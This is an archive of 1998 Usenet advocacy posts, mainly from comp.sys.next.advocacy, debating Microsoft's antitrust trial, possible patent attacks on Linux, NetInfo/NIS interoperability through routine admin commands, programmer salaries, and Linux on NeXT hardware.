> Steven M. Scharf <scharf@grin.net> wrote:
>
> > 'Microsoft's experience with its Win CE operating system illustrates how
> > difficult it is to gain acceptance and support for a new operating system
> > in the face of 3COMs monopoly of the PDA operating systems market. This
> > experience shows that innovation and technical advantages may be
> > insufficient
> > to overcome the barriers imposed by 3COMs domination of the PDA operating
> > system market.'
>
> Heh. A good argument, which will become almost credible when WinCE shows
> signs of innovation and (above all) technical advantages.
>
> For real credibility, though, we'll need to see 3COM pushing a strategy
> of "PalmOS Everywhere", and to believe that it just might succeed.
>
> --
> Bruce Bennett
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Thu, 05 Nov 1998 19:39:26 -0800
Organization: Cygnus Solutions
Message-ID: <36426F6E.2AED1A73@cygnus.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com>
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Douglas Lee Hendrix wrote:
>
> Sheldon Gartner wrote:
>
> > http://www.opensource.org/halloween2.html
> >
> > "The effect of patents and copyright in combatting Linux remains to be
> > investigated."
> >
> > Dear gawd. Add that to the comment about "fighting the process not a
> > single company" in previously leaked document and you get a cold chill
> > up your spin.
> >
> > Someone needs to find _every_ software copyright and patent that
> > The Borg owns. What's to stop M$ from simply breaking the GNU license
> > and fighting the issue for years in court while they crush Linux's
> > momentum?
> >
> > They've done similar things to Netscape, SUN and Novell. All M$ needs
> > to do is stop Linux's momentum, and they've won. Nothing more.
> >
> > I _really_ don't want a chyk name Ripley to have to fight Aliens a few
> > hundred years down the road with the M$ designed 'droids keep keep
> > killing people becuase of "a feature" in their brain.
>
> Using the age old argument of "who are you going to sue when Linux
> trashes your corporate database?" . . .
>
> I pose the question, who would Microsoft sue? Linux is simply available
> for download on too many ftp sites to be able to stem the tide.
>
Lets explore the issue a little further..
lets say MS finds a patent issue to cause commercial distributors (redhat,
caldera, even walnut creek) to cease their linux business.
1) Does this stop Applixware (etc) from selling to Linux customers (I don't
think so..)?
2) Does a patent issue have ANY legal impact on non-commercial
distributions (I don't know how patents affect non-commercial use of the
patented item -- a copyright issue would, but they would have to prove that
the code in question came from a technology they control, as opposed to
merely being independantly writen code that duplicates functionality of
some technology they own -- but they may be able to attack the look and
feel of the fvwm extensions that look like win95)?
Lets say MS can get the ftp sites to stop distributing Linux (legal
pressure on providers and such, once they establish the above legal issue)
..
1) do they have anything they can then aim at *BSD? (depends on the exact
patent issue, I know.. my point, though, is that Linux is not the only
bastion of the free OS advocate)
2) what's to stop Linux users from going back to floppy distributions for
the base OS, and then doing FTP for everything that isn't in legal
question? (and perhaps re-writing those modules that are in legal dispute)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Thu, 05 Nov 1998 10:47:11 -0600
Organization: Ericsson North America Inc.
Message-ID: <3641D68F.25527651@ericsson.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com> <71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com> <71r6a5$r41$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> Actually, there is. NeXT machines play nice with other vendor's standards,
> like NIS. People using something like Visual J++ create "Java" programs that
> don't play nice with other JVMs.
Noted: you're comparing "NeXT machines", on one hand, with "Visual J++",
on the other. I could easily say that Microsoft machines play nice with
other vendors' standards, and be partially correct, just as your
statement was partially correct. Comparing tool for tool, Visual J++
"plays nice" in almost the same way that NetInfo Manager "plays nice"
with other network administration tools.
Instead of taking offense at what you perceive to be criticism of
NetInfo, you should note that I'm not actually criticizing NetInfo.
> While you can disable NetBEUI, you can't disable NetBIOS on a network-aware
> NT box.
So what? With NetBIOS running no fundamental changes are apparent in the
operation of the system. As far as I know, an NT machine with NetBEUI
disabled will not broadcast service availability, and the net effect (no
pun intended) on the network will be nil.
> Futhermore, many people did regard the tight integration between
> NEXTSTEP and NetInfo to be a problem, which is why we were happy when
> OPENSTEP/Mach (aka NEXTSTEP 4.x) allowed you to completely disable NetInfo.
>
> Heaven forfend that Mike would honestly represent someone else's position,
> though, especially when it gets in the way of an argument he wants to make.
Whence? Dunno what you mean. Or maybe you don't know what I mean, one or
the other, Chuck.
> People using advanced networking tools like NIS+ or NetInfo could
> interoperate just fine (both as client and server) with flat files or NIS.
> Been there, done that, more than once.
And Microsoft's JVM will work just fine with 100% Pure Java programs, as
well. What's your point?
> Programs using M$ "Java" extensions don't run anywhere else but on a M$
> platform. Big difference.
Now you're talking about the client, be it a machine or a Java program.
In either case (non-100% Pure Java program, NetInfo or NIS+ client) the
client will *not* run on a "standard" server (100% Pure Java JVM,
NIS/flat-file server).
There is fundamentally no difference.
> > Just as no NetInfo client can be served by a non-NeXT server.
>
> Surprise-- you're absolutely wrong. A company called Xedoc made NetInfo
> server products which let various other Unix boxes like Solaris and HP/UX
> machines provide NetInfo to clients.
As you mentioned before. I should have said "non-NetInfo server", which
was of course the point. Reading yet?
MJP
From: "Bobby D. Bryant" <bdbryant@mail.utexas.edu>
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.unix.advocacy,de.comp.sys.amiga.advocacy
Subject: Re: OS Advocacy/Rating/Locating site
Date: Fri, 06 Nov 1998 05:25:08 +0000
Organization: The University of Texas at Austin
Message-ID: <36428834.791A95C0@mail.utexas.edu>
References: <36404889.A2E4CB64@iconics.co.uk> <36447464.2739064@news-server> <71q4ro$n36$1@news.xmission.com> <3641A101.328A595E@iconics.co.uk>
Mime-Version: 1.0
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Michael wrote:
> Its now fixed, I had the same problem myself but it hadnt irritated me enough
> to fix it. However if someone else was bugged by it, I fixed it.
That's a shining paradigm for the way things ought to work!
Bobby Bryant
Austin, Texas
From: emo@cs.indiana.edu (Eric Ost)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 6 Nov 1998 05:47:58 GMT
Organization: Computer Science, Indiana University
Message-ID: <71u2ie$6sm$1@flotsam.uits.indiana.edu>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com>
In article <36426F6E.2AED1A73@cygnus.com>, John Rudd <jrudd@cygnus.com> wrote:
>Douglas Lee Hendrix wrote:
>Lets explore the issue a little further..
>
>
>lets say MS finds a patent issue to cause commercial distributors (redhat,
>caldera, even walnut creek) to cease their linux business.
How about setting up shop in a country where software patents are not
enforceable? The 'net is "borderless."
eric
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 6 Nov 1998 06:16:54 GMT
Organization: MiscKit Development
Message-ID: <71u48m$dop$3@news.xmission.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 6 Nov 1998 06:16:54 GMT
John Rudd <jrudd@cygnus.com> wrote:
> Douglas Lee Hendrix wrote:
> > I pose the question, who would Microsoft sue? Linux is simply
> > available for download on too many ftp sites to be able to stem the
> > tide.
>
> Lets explore the issue a little further..
>
> [...]
Well, I still see one possible situation that could be a problem. I've seen
this happen before. The gist of the argument is this:
(1) You know that you'd win a suit if filed
(2) But even so, the defense would be costly
(3) So you don't do it, even though you'd be able to win, because the cost is
too high
It becomes a simple business decision. You don't enter an unprofitable
market, and if legal fees cost more than your margins, it isn't worth it.
Couple that with the fact that The Bill Borg has a lot more cash than you do,
and in a war like that most smaller shops will lose. Even if they win the
legal battle, the cost of the fees will bury them and kill them. So MS would
win either way: they win in court or they win by draining all your cash like
a vampire. And of course they win if they scare you out of trying in the
first place.
Depressing thought, isn't it? The only way I can see to win in this scenario
is if MS feels a threat from something bigger than they which keeps them from
filing suit. The only thing I can see that is possibly big enough is the
DOJ, and it may well be that MS has nothing to fear there, all evidence be
damned. So if the little guy can get the government to cover his butt, then
he may be brave enough to enter this scenario. As if that would be easy to
do...
This scenario of legal annhilation *could* put a huge dent in the Linux
momentum since it could very quickly curtail commercial vendors' support for
Linux. That would be a real shame. If MS tried it right now, though, it
would sink their case before the DOJ, so let's get a move on before they get
a chance. Crank up the momentum! :-)
I also don't believe that this strategy could ever completely *kill* Linux
because the system that creates and supports Linux is far to scattered a
target for even MS to shoot at. This is a big strength: a distributed,
fault tolerant system is much harder to bring down, especially if it can
self-repair damaged nodes. Open Source Software has these features via the
people that create and support it...thank heavens! MS can at best damage a
few nodes, but others will spring up in the meantime. Like an endless game
of whack-a-mole, if there are enough nodes and enough perseverance backing
Linux (and I think there may be) then a war like this could eventually even
turn around and bleed MS dry, though it would take a long time. They
probably realize this possibility, so a complete analysis by MS could
possibly result in keeping MS from attacking via legal means (or not).
It is an interesting thought exercise. Given the next advocacy group being
in this thread, I'm just waiting for John Kheit to weigh in, since this is
his field...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: Robert Fovell <rfovell@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: "Knife the baby" finally appears
Date: Thu, 05 Nov 1998 22:22:31 -0800
Organization: University of California, Los Angeles
Message-ID: <364295A3.ABE8C927@earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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http://www.newsbytes.com/pubNews/120947.html
The anticipated "knife the baby" testimony has finally appeared. IMHO, this
is far more damning stuff than the "MS deliberately gummed up QuickTime"
testimony that started off his protracted 15 minutes of fame. For one thing,
it is provable --- but see below.
I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's testimony
about a meeting which he did *not* attend was admitted. Isn't that hearsay?
[1]. Of course, my knowledge of the law owes as much to Perry Mason and
Grisham novels as it does to academically valid sources, so... say no more ;-)
I may have missed it, but I was surprised no one has mentioned the recent
development at MS-owned WebTV. Seems they're dropping Java support now... but
hedge this by saying they may support MS' J++ in the future. Something like
that. It could be interpreted in several different ways...
[1] Not to be confused with "heresy", which was inadvertently defined in CSMA
recently as daring to say things deleterious to Big Brother Bill ;-)
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
From: "Harold R.G. Alley Jr." <ataripc@earthlink.net>
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.unix.advocacy,de.comp.sys.amiga.advocacy
Subject: Re: OS Advocacy/Rating/Locating site
Date: Fri, 06 Nov 1998 01:43:01 -0500
Content-Transfer-Encoding: 7bit
References: <36404889.A2E4CB64@iconics.co.uk>
Organization: EarthLink Network, Inc.
Content-Type: text/plain; charset=us-ascii
Mime-Version: 1.0
Message-ID: <36429A75.B254C193@earthlink.net>
What No Atari OS selections other than Linux (not even Linux68) available?
Michael wrote:
> Site allows rating of your OS. Search OS ratings by geographical area.
>
> Takes about 30 seconds to complete the 4 questions (2 listboxes, 1 edit box and
> a radio button).
>
> If you link to the site from yourown page, it creates a link back to your page
> for others to access, whenever someone accesses my site from yours (aka you
> link me, I link you).
>
> The address is:
>
> http://www.oscounter.org
>
> Thanx
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: 6 Nov 1998 08:35:46 GMT
Organization: Idiom Communications
Message-ID: <71ucd2$rck$1@news.idiom.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net>
<71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com>
<71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com>
<71r6a5$r41$1@nnrp1.dejanews.com> <3641D68F.25527651@ericsson.com>
<71t6up$gjr$1@nnrp1.dejanews.com> <36422E5A.3E7CE996@ericsson.com>
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Cc: michael.peck@ericsson.com
Michael Peck may or may not have said:
[snip]
-> > Sun explicitly
-> > designed NIS+ to be backwards compatible and to work with NIS domains
without
-> > modification. With NetInfo, NeXT provided tools to extract info from
NetInfo
-> > into the common format that could be used with either flatfile or NIS
-> > systems.
->
-> Is this a dynamic process? Or is it a conversion/migration tool? Can I
-> run a NetInfo/NIS gateway with standard tools?
Well, do you know how to put:
nidump passwd . > /etc/passwd
into a cron job?
How about
ypcat passwd | niload passwd .
This also works about the same way for:
aliases bootptab bootparams exports fstab mountmaps group hosts networks
passwd printcap protocols rpc services
That's about how complicated it is to keep Netinfo sync'd with flat files or
YP.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
References: <71kj6v$f4j@shelob.afs.com> <71sgds$gdb@netaxs.com> <1di0nr8.1ar7dvtsb96oN@p044.intchg2.net.ubc.ca> <71stao$g0@shelob.afs.com>
From: Robert Nicholson <steffi@shell8.ba.best.com>
Date: 05 Nov 1998 17:54:41 -0800
Message-ID: <yl37lx9bn6m.fsf@shell8.ba.best.com>
Has any evidence been found that proves anti trust licensning concerns with
WRT to WinCE retailers?
Q. Why can't the DOJ supeano any or all of Microsofts licenses? They can
get access to their email but why not their licenses which I'm sure are
very revealing.
"Greg Anderson" <greg@afs.com> writes:
> Bruce Bennett wrote:
> >Steven M. Scharf <scharf@grin.net> wrote:
> >
> >> 'Microsoft's experience with its Win CE operating system illustrates how
> >> difficult it is to gain acceptance and support for a new operating system
> >> in the face of 3COMs monopoly of the PDA operating systems market. This
> >> experience shows that innovation and technical advantages may be
> >> insufficient to overcome the barriers imposed by 3COMs domination
> >> of the PDA operating system market.'
> >
> >Heh. A good argument, which will become almost credible when WinCE shows
> >signs of innovation and (above all) technical advantages.
>
> Not to mention, no one is accusing 3Com of refusing to ship Pilots to stores
> that also carry WinCE devices, or any other anti-competitive actions. I knew
> the original message was a troll when the poster argued that WinCE *is*
> technically superior to PalmOS.
>
> Greg
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Dilemma
Message-ID: <1998Nov5.155950.9179@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <71aovh$hkc@newsb.netnews.att.com>
Date: Thu, 5 Nov 1998 15:59:50 GMT
In article <71aovh$hkc@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror
after @ writes:
> What is the Think Different way ?
>
> -arun gupta
Apple should make pies.
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Bold prediction! Forget Server...
Date: 5 Nov 98 23:34:07
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Nov5233407@slave.doubleu.com>
References: <70fpbp$dhd$1@nnrp1.dejanews.com> <70fvt4$mdh$2@news.xmission.com>
<70g8bp$2k5$1@msunews.cl.msu.edu>
<YPdX1.2567$yb5.3013570@news.rdc1.sdca.home.com> <F16Mpz.7ID@T-FCN.Net>
<362E02A9.4A009BDA@ericsson.com>
In-reply-to: Michael Peck's message of Wed, 21 Oct 1998 10:50:01 -0500
In article <362E02A9.4A009BDA@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> writes:
Maury Markowitz wrote:
> I don't know a single developer that makes less that $50k, most I
> know make about $75. Many of them do VB or Perl for that $75. I
> don't know what market you refer to, I've never seen any hint of
> it.
That sounds like it would be great. Unfortunately, either you're an
exceptional full-time developer or you're overpaid. I won't guess.
$75,000 for VB or Perl development work...you'd better be one hell
of a whiz.
Then again, maybe I'm sheltered by the catholic nature of the
Dallas-Ft.Worth metroplex Telecomm Corridor. I don't know many
senior engineers who make $75,000 doing even C++ work...
Actually, it's the other way around. I think you're seeing "normal".
In various pockets around the US, though, payscales rise fairly high,
fairly fast. If you can spell "void" in the Silicon Valley area,
that's worth $75k/year right there. If you can use "void" correctly
in an example, that'll get you to $85k/year :-).
I found it somewhat frustrating when I was living in the deep Midwest,
because everyone (relatives, school chums) would read the salary
surveys saying that programmers were making six figures, and razzing
me about it. Thing is, I could sock away the same amount of money per
year in the Midwest on 65% of what I need here in Sunnyvale...
[A _lot_ of people out here are _wildly_ overpaid. It's like the
stock market, there are so many employers chasing so few employees.
Since pricing occurs on the margins, salaries grow all out of
proportion to actual worth.]
[Excepting myself, of course. I've passed up a number of %25-%50
raises since I moved out here,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Jes Sorensen <Jes.Sorensen@cern.ch>
Newsgroups: comp.os.linux.m68k,comp.sys.next.advocacy
Subject: Re: Linux for NeXT?
Followup-To: comp.sys.next.advocacy
Date: 06 Nov 1998 11:35:50 +0100
Organization: CERN - European Laboratory for Particle Physics
Message-ID: <d3d871m7ll.fsf@valhall.cern.ch>
References: <36382E60.2278743@astroinfo.org> <d3ww5ju0og.fsf@valhall.cern.ch> <71a8rv$152@news.jhu.edu> <d367cxqejq.fsf@valhall.cern.ch> <71nf47$cj1@news.jhu.edu>
>>>>> "James" == James D Meacham <jmeacham@wittgenstein.jhuccp.org> writes:
James> In <d367cxqejq.fsf@valhall.cern.ch> Jes Sorensen wrote:
James> Jes, jeez, you might want to try decaf...If that was a problem
James> for you, it would have been more polite and more discreet to
James> send me an e-mail saying that it bothered you. I actually
James> didn't know that that had happened since it is a feature of my
James> newsreader that I was unaware was switched on by default. And
James> besides, as far as I know, you've never actually replied by
James> e-mail to me (or I would have gotten one, I assume) so methinks
James> you are making a large noise about something that has never
James> actually, in fact, taken place. So you might want to try a
James> little bit of charity and the assumption that people aren't
James> trying to make your life difficult; you'll find that good will
James> generally comes back to you.
I actually wrote the email and was about to send it when I noticed the
newsgroup references. I tend to get these kinds of cross-postings
every now and then and it severely pisses me off to find out that I
just replied in personal email to something that other people will
expect to find in the usenet groups. Makes one look like an idiot in
the usenet group when you don't reply.
>> Second, the GUI stinks, I just hate it. Working in terminals on a
>> NeXT is absolutely dreadful, you have to use the mouse to open up
>> another window and the whole handling of activation of windows is
>> terrible.
James> I've come to think the 3/4 of the GUI thing is really an
James> aesthetic judgement. While there are certainly shortcomings in
James> the NeXT UI, for my purposes, with a few addons (BackManager,
James> Fiend, etc) it is the best UI I have found, Again, as you point
James> out, there is an over-reliance on the mouse (what I wouldn't do
James> to be able to switch the *active* window from the keyboard) and
James> it would be great if a little more functionality,
James> a-la-X-windows, was built into the 2nd mouse button.
I want a simple and efficient GUI, the one in NEXTSTEP prevents me
from working efficiently and I hate that. IMHO anything that requires
a mouse is broken. Besides it is practically impossible to compile
many the important UNIX programs I need under NS.
James> It just seems to me that
James> porting Linux to black hardware would be a big task for what is
James> probably a tiny audience. Don't get me wrong, if you all get
James> Linux running well, I'll clear out a partition on one of my
James> several NeXTstations for it, but I, and most people I know that
James> have NeXTs, have been very happy with the NeXT OS for Black HW.
It's the same thing with most of the Linux ports, it's fun! People are
porting Linux to almost anything these days, watch out, your toaster
might be running Linux next week.
James> (I hope the comp.sys.next.advocacy folk don't mind me
James> cross-posting this, but it seemed like a line of discussion
James> that might interest the advocacy group...)
And I am setting the Followup-To: to that group as this is getting
severely off topic for the Linux group.
Jes
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 6 Nov 1998 00:03:20 -0800
Organization: Institute of Lawsonomy
Message-ID: <71uag8$f1c$1@52-a-usw.rb1.blv.nwnexus.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
In article <36426F6E.2AED1A73@cygnus.com>, John Rudd <jrudd@cygnus.com> wrote:
>Lets explore the issue a little further..
>
>
>lets say MS finds a patent issue to cause commercial distributors (redhat,
>caldera, even walnut creek) to cease their linux business.
>
>1) Does this stop Applixware (etc) from selling to Linux customers (I don't
>think so..)?
It does if the patent covers something that is in the Linux Applixware is
distributing.
...
>2) what's to stop Linux users from going back to floppy distributions for
>the base OS, and then doing FTP for everything that isn't in legal
>question? (and perhaps re-writing those modules that are in legal dispute)
If there is a patent problem, they could sue individual users to get them to
stop running Linux. That would be enough to keep Linux out of large
businesses, which is where it is the largest threat to Microsoft. At the
current, and reasonably foreseable, state of Linux desktop development, Linux
is *not* even remotely a threat to Windows. It's in the lucrative server
market that Linux competes with Microsoft, and those customers are precisely
the people who would be scared away if using Linux could expose them to a
lawsuit.
--Tim Smith
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
Content-Type: text/plain; charset=us-ascii
Message-ID: <F20BwF.Ix1@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: rfovell@earthlink.net
Organization: needs one
References: <364295A3.ABE8C927@earthlink.net>
Mime-Version: 1.0
Date: Fri, 6 Nov 1998 15:48:14 GMT
In <364295A3.ABE8C927@earthlink.net> Robert Fovell wrote:
> I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's
> testimony
> about a meeting which he did *not* attend was admitted. Isn't that
> hearsay?
Yes, but that doesn't mean it's not admissable. I'm not sure of the
specifics, but under certain conditions hearsay is still admissable
evidence. In this particular case it was backed up with several other
times that similar deals were proposed (I believe two where he was
personally there). Effectively the only question is the exact words that
were spoken, the general intent seems well established.
Maury
From: DC <dhba701@NOSPAMworldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 6 Nov 1998 16:10:29 GMT
Organization: AT&T WorldNet Services
Message-ID: <36431F72.69E04A89@NOSPAMworldnet.att.net>
References: <364295A3.ABE8C927@earthlink.net>
Mime-Version: 1.0
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After reading more about the testimony this morning, I'd have to agree that this
is very damning testimony. A lot more so than Jim Barksdale's testimony. I don't
see MS working their way out of this anymore.
-DC
Robert Fovell wrote:
> http://www.newsbytes.com/pubNews/120947.html
>
> The anticipated "knife the baby" testimony has finally appeared. IMHO, this
> is far more damning stuff than the "MS deliberately gummed up QuickTime"
> testimony that started off his protracted 15 minutes of fame. For one thing,
> it is provable --- but see below.
>
> I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's testimony
> about a meeting which he did *not* attend was admitted. Isn't that hearsay?
> [1]. Of course, my knowledge of the law owes as much to Perry Mason and
> Grisham novels as it does to academically valid sources, so... say no more ;-)
>
> I may have missed it, but I was surprised no one has mentioned the recent
> development at MS-owned WebTV. Seems they're dropping Java support now... but
> hedge this by saying they may support MS' J++ in the future. Something like
> that. It could be interpreted in several different ways...
>
> [1] Not to be confused with "heresy", which was inadvertently defined in CSMA
> recently as daring to say things deleterious to Big Brother Bill ;-)
>
> --
> Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
>
> http://uniblab.atmos.ucla.edu/~fovell [science page]
> http://home.earthlink.net/~rfovell [PC parody page]
>
> "That's not what a Mac does. I want Mac on the PC.
> I want Mac on the PC." -- Bill Gates
From: jpolaski@NOwwa.com (Jim Polaski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <jpolaski-0611981014460001@d149-220.ce.mediaone.net>
References: <364295A3.ABE8C927@earthlink.net>
Organization: Polaski P/D/C, 15 W. Hubbard, Chgo, IL
Date: Fri, 06 Nov 1998 10:14:46 -0600
NNTP-Posting-Date: Fri, 06 Nov 1998 10:14:46 CDT
In article <364295A3.ABE8C927@earthlink.net>, rfovell@earthlink.net wrote:
> http://www.newsbytes.com/pubNews/120947.html
>
> The anticipated "knife the baby" testimony has finally appeared. IMHO, this
> is far more damning stuff than the "MS deliberately gummed up QuickTime"
> testimony that started off his protracted 15 minutes of fame. For one thing,
> it is provable --- but see below.
>
> I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's testimony
> about a meeting which he did *not* attend was admitted. Isn't that hearsay?
> [1]. Of course, my knowledge of the law owes as much to Perry Mason and
> Grisham novels as it does to academically valid sources, so... say no more ;-)
>
> I may have missed it, but I was surprised no one has mentioned the recent
> development at MS-owned WebTV. Seems they're dropping Java support now... but
> hedge this by saying they may support MS' J++ in the future. Something like
> that. It could be interpreted in several different ways...
>
> [1] Not to be confused with "heresy", which was inadvertently defined in CSMA
> recently as daring to say things deleterious to Big Brother Bill ;-)
======
Don't forget that the number of witnesses was *limited*, so one must call
a spade a spade when the opportunity arises. What this does do, although
Tevanian was not at that particuliar meeting, is raise questions about
how, if this story is true, M$ treated others. Now if the Gov establishes
a pattern, that M$ used this "club" over various other companies they are
involoved with and who represented a "threat" , real or not, then it does
show that M$ is/was using their marketplace dominance to force other
companies into complying with what M$ wants. And that is what is
specifically forbidden by the Anti-Trust laws, the monopoly using its
monopoly power to manipulate or further manipulate or extend their
percentage/control of the marketplace.
Coinsider that M$ only brought out windows, when it did, due largely to
the then new Mac OS/GUI. They did hear footsteps. Lucky for them, Apple
blew it under Scully and the rest is history. But if their were no Mac OS
to push the envelope(I can hear nate, tom and others argueing this
one...), I would more than bet that Win98 would have nowhere near the
features and look and feel that it does...thank Apple for that and the
wintellians should be glad M$ copied Apple. Otherwise you( or should I say
most) might still be stuck with DOS or even CPM.
From: Scott Waddell <swaddell@nbnet.nb.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 06 Nov 1998 12:17:48 -0400
Organization: NBTel Internet
Message-ID: <3643212C.2562489D@nbnet.nb.ca>
References: <364295A3.ABE8C927@earthlink.net> <F20BwF.Ix1@T-FCN.Net>
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Maury Markowitz wrote:
>
> In <364295A3.ABE8C927@earthlink.net> Robert Fovell wrote:
> > I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's
> > testimony
> > about a meeting which he did *not* attend was admitted. Isn't that
> > hearsay?
>
> Yes, but that doesn't mean it's not admissable. I'm not sure of the
> specifics, but under certain conditions hearsay is still admissable
> evidence. In this particular case it was backed up with several other
> times that similar deals were proposed (I believe two where he was
> personally there). Effectively the only question is the exact words that
> were spoken, the general intent seems well established.
>
> Maury
I'm no lawyer either, but I think it's admissible because it's a hearing
(ie. info gathering) as opposed to a trial.
Scott W.
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: iMac for $29
MIME-Version: 1.0
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Message-ID: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com>
Date: Fri, 06 Nov 1998 16:35:18 GMT
NNTP-Posting-Date: Fri, 06 Nov 1998 08:35:18 PDT
Organization: @Home Network
Apple financing is brilliant... It shouldn't be overlooked in the noise of
MS and MacOSX. Apple folks are really focused on getting the job done,
right. Impressive...
-r
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 06 Nov 1998 17:06:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71va9v$b47$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net>
In article <364295A3.ABE8C927@earthlink.net>,
rfovell@earthlink.net wrote:
[ ... ]
> I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's testimony
> about a meeting which he did *not* attend was admitted. Isn't that hearsay?
> [1]. Of course, my knowledge of the law owes as much to Perry Mason and
> Grisham novels as it does to academically valid sources, so... say no more ;-)
Dunno, but I suspect there is a difference in credibility between "my
employees reported that XXX happened in this major business meeting we had",
and "I heard a rumor that XXX happened"....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux for NeXT?
Date: 6 Nov 1998 16:58:16 GMT
Organization: Idiom Communications
Message-ID: <71v9r8$e8b$1@news.idiom.com>
